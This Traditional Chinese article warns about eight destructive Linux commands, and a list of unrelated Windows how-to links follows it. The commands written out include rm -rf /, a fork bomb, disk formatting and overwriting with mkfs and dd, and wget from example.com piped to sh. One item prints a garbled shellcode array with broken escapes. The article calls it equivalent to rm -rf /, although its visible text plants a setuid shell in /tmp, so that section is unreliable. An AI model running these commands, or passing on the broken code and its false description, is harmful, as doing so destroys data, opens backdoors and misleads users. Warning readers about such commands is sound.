絕對不應該在 Linux 上運行的 8 個致命命令

絕對不應該在 Linux 上運行的 8 個致命命令

Linux 上的終端​​命令具有相當大的破壞性,如果你執行一個命令,它就會破壞你的系統。 Linux 在執行任何命令時不需要您確認。

了解哪些命令不應在 Linux 上運行有助於在 Linux 上工作時保護您的系統。以下是 8 個絕對不應該在 Linux 上運行的致命命令。

絕對不應該在 Linux 上運行的 8 個致命命令

1. rm -rf / - 刪除所有內容

rm -rf / 指令將刪除所有內容,包括硬碟上的檔案以及連接到電腦的媒體裝置上的檔案。

為了更好地理解該命令,分析如下:

  • rm – 刪除以下檔案。
  • -rf – 執行 rm(刪除指定資料夾內的所有文件和資料夾)並強行刪除所有文件,而不先詢問您。
  • / – 告訴 rm(例如 rm)從根目錄開始,包括電腦上的所有檔案。

Linux 會很高興地遵循這個命令並刪除所有內容而不警告你,所以使用這個命令時要小心。

此外,rm指令的使用方式也非常危險。例如, rm –rf ~ 將刪除主資料夾中的所有文件,而 rm -rf .* 將刪除所有設定檔。

2.偽裝指令 rm –rf /

以下是網路上隨處可見的一段程式碼:

char esp[] __attribute__ ((section(".text"))) /* esp 釋放 */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7 “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”「\x8d\x73\x08\x56\x53\x54\x59\xb0\xx0b\x\cdx x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

這本質上是 rm –rf / 的另一個版本 – 執行此命令也會刪除所有文件,就像運行 rm –rf / 一樣。

3. :(){ :|: & };: – 一種重磅炸彈

絕對不應該在 Linux 上運行的 8 個致命命令

下面的命令列看起來很簡單,但它的功能實際上很危險:

:(){ :|: & };:

這個簡短的命令將創建自身的新副本。也就是說,備份過程本身將是連續的,並且很快就會導致您的 CPU 和記憶體被填滿。

它還可能導致您的電腦當機。這基本上是一種拒絕服務 (DoS) 攻擊。

4. mkfs.ext4 /dev/sda1 – 硬碟格式

指令 mkfs.ext4 /dev/sda1 很容易理解:

  • mkfs.ext4 - 在下列裝置上建立 ext4 檔案系統。
  • /dev/sda1 - 標識第一個硬碟上的第一個分割區,這可能是正在使用的硬碟。

組合這兩個命令相當於在 Windows 上格式化 C: 磁碟機 - 刪除第一個分割區上的所有檔案並用新檔案系統取代它們。

此命令可以以多種不同的格式出現,例如 - mkfs.ext3 /dev/sdb2 將使用 ext3 檔案系統格式化第二個硬碟上的第二個分割區。

5. command > /dev/sda - 直接寫入硬碟

絕對不應該在 Linux 上運行的 8 個致命命令

命令列 > /dev/sda - 運行命令並將該命令的結果直接輸出到您的第一個硬碟驅動器,將資料直接寫入硬碟並破壞您的檔案系統。

  • 命令 – 運行命令(可以是任何命令)。
  • > – 將指令輸出傳送到以下位置。
  • /dev/sda – 將指令輸出直接寫入硬碟裝置。

6. dd if=/dev/random of=/dev/sda – 將愚蠢的資料寫入硬碟

dd if=/dev/random of=/dev/sda 行將刪除其中一個硬碟上的資料。

  • dd – 是執行從一個位置到另一個位置的低階複製。
  • if=/dev/random – 使用 /dev/random 作為輸入 – 您可能會看到類似 /dev/zero 的位址。
  • of=/dev/sda – 輸出到第一個硬碟驅動器,用隨機的愚蠢資料取代檔案系統。

7. mv ~ /dev/null – 將您的主目錄移到黑洞

/dev/null - 將某些內容移到 /dev/null 與銷毀它相同。將 /dev/null 視為黑洞。 mv ~ /dev/null 會將您所有的個人檔案傳送到黑洞。

  • mv – 將下列檔案或資料夾移至另一個位置。
  • ~ – 您的整個主資料夾。
  • /dev/null – 將您的主資料夾移至 /dev/null,它將銷毀您的所有檔案並刪除原始副本。

8. wget http://example.com/something -O – | sh – 載入並執行腳本

上面的命令將從網路下載一個腳本並將腳本發送到sh,sh將執行腳本的內容。如果您不確定腳本是什麼或沒有受信任的腳本來源,這可能會很危險 - 不要執行不受信任的腳本。

wget – 下載檔案。

http://example.com/something – 從此位置下載檔案。

| – 將 wget 指令的輸出(下載的版本檔案)直接透過管道(傳送)到另一個指令。

sh – 將檔案傳送到 sh 指令。

更多的文章可以參考下面的文章:

正玩得開心!


如何安裝新的檔案總管圖示集(如 Windows 10 Sun Valley)

如何安裝新的檔案總管圖示集(如 Windows 10 Sun Valley)

如果您喜歡像Windows 10 Sun Valley一樣的檔案總管的新圖標,請按照下面的文章更改檔案總管的全新介面。

如何測試 Windows 10 網路攝影機

如何測試 Windows 10 網路攝影機

檢查網路攝影機在 Windows 電腦上是否正常運作既快速又簡單。以下是幫助您檢查相機的步驟。

如何在 Windows 10 中測試麥克風

如何在 Windows 10 中測試麥克風

也許您插入了優質耳機,但由於某種原因,Windows 筆記型電腦不斷嘗試使用其糟糕的內建麥克風進行錄音。以下的文章將指導您如何測試Windows 10麥克風。

如何從右鍵選單中刪除 Scan with Malwarebytes

如何從右鍵選單中刪除 Scan with Malwarebytes

如果您不再需要它,可以從右鍵單擊上下文功能表中刪除「使用 Malwarebytes 掃描」選項。就是這樣。

了解邊界網關協定 (BGP)

了解邊界網關協定 (BGP)

邊界網關協定 (BGP) 用於交換 Internet 的路由資訊,是 ISP(不同的 AS)之間使用的協定。

如何建立您自己的 Windows 登錄 hack 文件

如何建立您自己的 Windows 登錄 hack 文件

在閱讀提示時,您會看到人們經常使用註冊表黑客文件來自訂和調整 Windows 計算機,並想知道如何創建它。本文將引導您完成建立自己的註冊表駭客檔案的基本步驟。

如何在 Windows 10 中啟用自動登錄備份

如何在 Windows 10 中啟用自動登錄備份

微軟曾經有自動備份登錄的功能,但這個功能在 Windows 10 中已經悄悄停用。在本文中,Quantrimang.com 將引導您完成自動備份登錄到資料夾 RegBack (Windows\System32\config) 的步驟。 \RegBack) 在Windows 10 上。

如何在 Windows PC 上撤銷操作

如何在 Windows PC 上撤銷操作

使用計算機時,犯錯是完全正常的。

如果 Windows 10/11 上乙太網路連線不斷斷線怎麼辦?

如果 Windows 10/11 上乙太網路連線不斷斷線怎麼辦?

有時,您的乙太網路連接可能會在 Windows 10 或 11 電腦上無故斷開連接,從而讓您感到沮喪。

電腦關機後可以遠端存取嗎?

電腦關機後可以遠端存取嗎?

即使您的裝置已關閉,其他人也可以存取您的裝置嗎?可怕的答案是肯定的。